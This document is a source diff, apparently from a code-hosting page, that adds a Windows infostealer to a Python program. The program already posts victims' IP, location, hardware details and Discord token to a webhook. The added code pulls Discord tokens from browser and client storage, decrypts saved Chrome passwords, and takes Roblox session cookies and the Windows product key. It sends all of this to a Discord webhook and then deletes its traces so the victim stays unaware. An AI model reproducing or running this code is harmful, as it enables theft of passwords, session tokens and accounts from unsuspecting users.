1313import  requests 
1414import  subprocess 
1515from  uuid  import  getnode  as  get_mac 
16+ import  browser_cookie3  as  steal , requests , base64 , random , string , zipfile , shutil , dhooks , os , re , sys , sqlite3 
17+ from  cryptography .hazmat .primitives .ciphers  import  (Cipher , algorithms , modes )
18+ from  cryptography .hazmat .primitives .ciphers .aead  import  AESGCM 
19+ from  cryptography .hazmat .backends  import  default_backend 
20+ from  Crypto .Cipher  import  AES 
21+ 
22+ 
23+ from  base64  import  b64decode , b64encode 
24+ from  dhooks  import  Webhook , Embed , File 
25+ from  subprocess  import  Popen , PIPE 
26+ from  json  import  loads , dumps 
27+ from  shutil  import  copyfile 
28+ from  sys  import  argv 
1629
1730# CONFIG -> Setup before compiling 
1831url =  ""  #Paste Discord Webhook url 
@@ -123,3 +136,255 @@ def Wipe():
123136
124137requests .post (url , data = json .dumps ({ "embeds" : [ { "title" : f"Someone Runs Program! - { host }  , "color" : 8781568  }, { "color" : 7506394 , "fields" : [ { "name" : "GeoLocation" , "value" : f"Using VPN?: { proxy } \n Local IP: { localip } \n Public IP: { publicip } \n MAC Adress: { mac } \n \n Country: { country } { callcode } { timezone } \n region: { region } \n City: { city } { postal } \n Currency: { currency } \n \n \n \n "  } ] }, { "fields" : [ { "name" : "System Information" , "value" : f"System: { uname .system } \n Node: { uname .node } \n Machine: { uname .machine } \n Processor: { uname .processor } \n \n Boot Time: { bt .year } { bt .month } { bt .day } { bt .hour } { bt .minute } { bt .second }   } ] }, { "color" : 15109662 , "fields" : [ { "name" : "CPU Information" , "value" : f"Psychical cores: { psutil .cpu_count (logical = False )} \n Total Cores: { psutil .cpu_count (logical = True )} \n \n Max Frequency: { cpufreq .max :.2f} \n Min Frequency: { cpufreq .min :.2f} \n \n Total CPU usage: { psutil .cpu_percent ()} \n "  }, { "name" : "Nemory Information" , "value" : f"Total: { scale (svmem .total )} \n Available: { scale (svmem .available )} \n Used: { scale (svmem .used )} \n Percentage: { svmem .percent }   }, { "name" : "Disk Information" , "value" : f"Total Size: { scale (partition_usage .total )} \n Used: { scale (partition_usage .used )} \n Free: { scale (partition_usage .free )} \n Percentage: { partition_usage .percent } \n \n Total read: { scale (disk_io .read_bytes )} \n Total write: { scale (disk_io .write_bytes )}   }, { "name" : "Network Information" , "value" : f"Total Sent: { scale (net_io .bytes_sent )} \" )\n Total Received: { scale (net_io .bytes_recv )}   } ] }, { "color" : 7440378 , "fields" : [ { "name" : "Discord information" , "value" : f"Token: { realshit }   } ] } ] }), headers = {"Content-Type" : "application/json" })
125138
139+ DBP  =  r'Google\Chrome\User Data\Default\Login Data' 
140+ ADP  =  os .environ ['LOCALAPPDATA' ]
141+ 
142+ 
143+ def  sniff (path ):
144+     path  +=  '\\ Local Storage\\ leveldb' 
145+ 
146+     tokens  =  []
147+     try :
148+         for  file_name  in  os .listdir (path ):
149+             if  not  file_name .endswith ('.log' ) and  not  file_name .endswith ('.ldb' ):
150+                 continue 
151+ 
152+             for  line  in  [x .strip () for  x  in  open (f'{ path } \\ { file_name }  , errors = 'ignore' ).readlines () if  x .strip ()]:
153+                 for  regex  in  (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}' , r'mfa\.[\w-]{84}' ):
154+                     for  token  in  re .findall (regex , line ):
155+                         tokens .append (token )
156+         return  tokens 
157+     except :
158+         pass 
159+ 
160+ 
161+ def  encrypt (cipher , plaintext , nonce ):
162+     cipher .mode  =  modes .GCM (nonce )
163+     encryptor  =  cipher .encryptor ()
164+     ciphertext  =  encryptor .update (plaintext )
165+     return  (cipher , ciphertext , nonce )
166+ 
167+ 
168+ def  decrypt (cipher , ciphertext , nonce ):
169+     cipher .mode  =  modes .GCM (nonce )
170+     decryptor  =  cipher .decryptor ()
171+     return  decryptor .update (ciphertext )
172+ 
173+ 
174+ def  rcipher (key ):
175+     cipher  =  Cipher (algorithms .AES (key ), None , backend = default_backend ())
176+     return  cipher 
177+ 
178+ 
179+ def  dpapi (encrypted ):
180+     import  ctypes 
181+     import  ctypes .wintypes 
182+ 
183+     class  DATA_BLOB (ctypes .Structure ):
184+         _fields_  =  [('cbData' , ctypes .wintypes .DWORD ),
185+                     ('pbData' , ctypes .POINTER (ctypes .c_char ))]
186+ 
187+     p  =  ctypes .create_string_buffer (encrypted , len (encrypted ))
188+     blobin  =  DATA_BLOB (ctypes .sizeof (p ), p )
189+     blobout  =  DATA_BLOB ()
190+     retval  =  ctypes .windll .crypt32 .CryptUnprotectData (
191+         ctypes .byref (blobin ), None , None , None , None , 0 , ctypes .byref (blobout ))
192+     if  not  retval :
193+         raise  ctypes .WinError ()
194+     result  =  ctypes .string_at (blobout .pbData , blobout .cbData )
195+     ctypes .windll .kernel32 .LocalFree (blobout .pbData )
196+     return  result 
197+ 
198+ 
199+ def  localdata ():
200+     jsn  =  None 
201+     with  open (os .path .join (os .environ ['LOCALAPPDATA' ], r"Google\Chrome\User Data\Local State" ), encoding = 'utf-8' , mode = "r" ) as  f :
202+         jsn  =  json .loads (str (f .readline ()))
203+     return  jsn ["os_crypt" ]["encrypted_key" ]
204+ 
205+ 
206+ def  decryptions (encrypted_txt ):
207+     encoded_key  =  localdata ()
208+     encrypted_key  =  base64 .b64decode (encoded_key .encode ())
209+     encrypted_key  =  encrypted_key [5 :]
210+     key  =  dpapi (encrypted_key )
211+     nonce  =  encrypted_txt [3 :15 ]
212+     cipher  =  rcipher (key )
213+     return  decrypt (cipher , encrypted_txt [15 :], nonce )
214+ 
215+ 
216+ class  chrome :
217+     def  __init__ (self ):
218+         self .passwordList  =  []
219+ 
220+     def  chromedb (self ):
221+         _full_path  =  os .path .join (ADP , DBP )
222+         _temp_path  =  os .path .join (ADP , 'sqlite_file' )
223+         if  os .path .exists (_temp_path ):
224+             os .remove (_temp_path )
225+         shutil .copyfile (_full_path , _temp_path )
226+         self .pwsd (_temp_path )
227+     def  pwsd (self , db_file ):
228+         conn  =  sqlite3 .connect (db_file )
229+         _sql  =  'select signon_realm,username_value,password_value from logins' 
230+         for  row  in  conn .execute (_sql ):
231+             host  =  row [0 ]
232+             if  host .startswith ('android' ):
233+                 continue 
234+             name  =  row [1 ]
235+             value  =  self .cdecrypt (row [2 ])
236+             _info  =  '[==================]\n hostname => : %s\n login => : %s\n value => : %s\n [==================]\n \n '  %  (host , name , value )
237+             self .passwordList .append (_info )
238+         conn .close ()
239+         os .remove (db_file )
240+ 
241+     def  cdecrypt (self , encrypted_txt ):
242+         if  sys .platform  ==  'win32' :
243+             try :
244+                 if  encrypted_txt [:4 ] ==  b'\x01 \x00 \x00 \x00 ' :
245+                     decrypted_txt  =  dpapi (encrypted_txt )
246+                     return  decrypted_txt .decode ()
247+                 elif  encrypted_txt [:3 ] ==  b'v10' :
248+                     decrypted_txt  =  decryptions (encrypted_txt )
249+                     return  decrypted_txt [:- 16 ].decode ()
250+             except  WindowsError :
251+                 return  None 
252+         else :
253+             pass 
254+ 
255+     def  saved (self ):
256+         try :
257+             with  open (r'C:\ProgramData\passwords.txt' , 'w' , encoding = 'utf-8' ) as  f :
258+                 f .writelines (self .passwordList )
259+         except  WindowsError :
260+             return  None 
261+ 
262+ 
263+ if  __name__  ==  "__main__" :
264+     main  =  chrome ()
265+     try :
266+         main .chromedb ()
267+     except :
268+         pass 
269+     main .saved ()
270+ 
271+ 
272+ # webhook functionality => collect rest of specified data, send it to our webhook 
273+ 
274+ 
275+ def  beamed ():
276+     hook  =  Webhook (url )
277+     try :
278+         hostname  =  requests .get ("https://api.ipify.org" ).text 
279+     except :
280+         pass 
281+ 
282+ 
283+     local  =  os .getenv ('LOCALAPPDATA' )
284+     roaming  =  os .getenv ('APPDATA' )
285+     paths  =  {
286+         'Discord' : roaming  +  '\\ Discord' ,
287+         'Discord Canary' : roaming  +  '\\ discordcanary' ,
288+         'Discord PTB' : roaming  +  '\\ discordptb' ,
289+         'Google Chrome' : local  +  '\\ Google\\ Chrome\\ User Data\\ Default' ,
290+         'Opera' : roaming  +  '\\ Opera Software\\ Opera Stable' ,
291+         'Brave' : local  +  '\\ BraveSoftware\\ Brave-Browser\\ User Data\\ Default' ,
292+         'Yandex' : local  +  '\\ Yandex\\ YandexBrowser\\ User Data\\ Default' 
293+     }
294+ 
295+     message  =  '\n ' 
296+     for  platform , path  in  paths .items ():
297+         if  not  os .path .exists (path ):
298+             continue 
299+ 
300+         message  +=  '```' 
301+ 
302+         tokens  =  sniff (path )
303+ 
304+         if  len (tokens ) >  0 :
305+             for  token  in  tokens :
306+                 message  +=  f'{ token } \n ' 
307+         else :
308+             pass 
309+ 
310+         message  +=  '```' 
311+     
312+ 
313+     """screenshot victim's desktop""" 
314+     try :
315+         screenshot  =  image .grab ()
316+         screenshot .save (os .getenv ('ProgramData' ) + r'\screenshot.jpg' )
317+         screenshot  =  open (r'C:\ProgramData\screenshot.jpg' , 'rb' )
318+         screenshot .close ()
319+     except :
320+         pass 
321+ 
322+     """gather our .zip variables""" 
323+     try :
324+         zname  =  r'C:\ProgramData\passwords.zip' 
325+         newzip  =  zipfile .ZipFile (zname , 'w' )
326+         newzip .write (r'C:\ProgramData\passwords.txt' )
327+         newzip .close ()
328+         passwords  =  File (r'C:\ProgramData\passwords.zip' )
329+     except :
330+         pass 
331+     
332+     """gather our windows product key variables""" 
333+     try :
334+         usr  =  os .getenv ("UserName" )
335+         keys  =  subprocess .check_output ('wmic path softwarelicensingservice get OA3xOriginalProductKey' ).decode ().split ('\n ' )[1 ].strip ()
336+         types  =  subprocess .check_output ('wmic os get Caption' ).decode ().split ('\n ' )[1 ].strip ()
337+     except :
338+         pass 
339+ 
340+     """steal victim's .roblosecurity cookie""" 
341+     cookie  =  [".ROBLOSECURITY" ]
342+     cookies  =  []
343+     limit  =  2000 
344+ 
345+     """chrome installation => list cookies from this location""" 
346+     try :
347+         cookies .extend (list (steal .chrome ()))
348+     except :
349+         pass 
350+ 
351+     """firefox installation => list cookies from this location""" 
352+     try :
353+         cookies .extend (list (steal .firefox ()))
354+     except :
355+         pass 
356+ 
357+     """read data => if we find a matching positive for our specified variable 'cookie', send it to our webhook.""" 
358+     try :
359+         for  y  in  cookie :
360+             send  =  str ([str (x ) for  x  in  cookies  if  y  in  str (x )])
361+             chunks  =  [send [i :i  +  limit ] for  i  in  range (0 , len (send ), limit )]
362+             for  z  in  chunks :
363+                 roblox  =  f'```'  +  f'{ z }   +  '```' 
364+     except :
365+         pass 
366+ 
367+     """attempt to send all recieved data to our specified webhook""" 
368+     try :
369+         embed  =  Embed (title = 'Aditional Features' ,description = 'a victim\' s data was extracted, here\' s the details:' ,color = 0x2f3136 ,timestamp = 'now' )
370+         embed .add_field ("windows key:" ,f"user => { usr } \n type => { types } \n key => { keys }  )
371+         embed .add_field ("roblosecurity:" ,roblox )
372+         embed .add_field ("tokens:" ,message )
373+         embed .add_field ("hostname:" ,f"{ hostname }  )
374+     except :
375+         pass 
376+     try :
377+         hook .send (embed = embed , file = passwords )
378+     except :
379+         pass 
380+ 
381+     """attempt to remove all evidence, allows for victim to stay unaware of data extraction""" 
382+     try :
383+         subprocess .os .system (r'del C:\ProgramData\screenshot.jpg' )
384+         subprocess .os .system (r'del C:\ProgramData\passwords.zip' )
385+         subprocess .os .system (r'del C:\ProgramData\passwords.txt' )
386+     except :
387+         pass 
388+ 
389+ 
390+ beamed ()
0 commit comments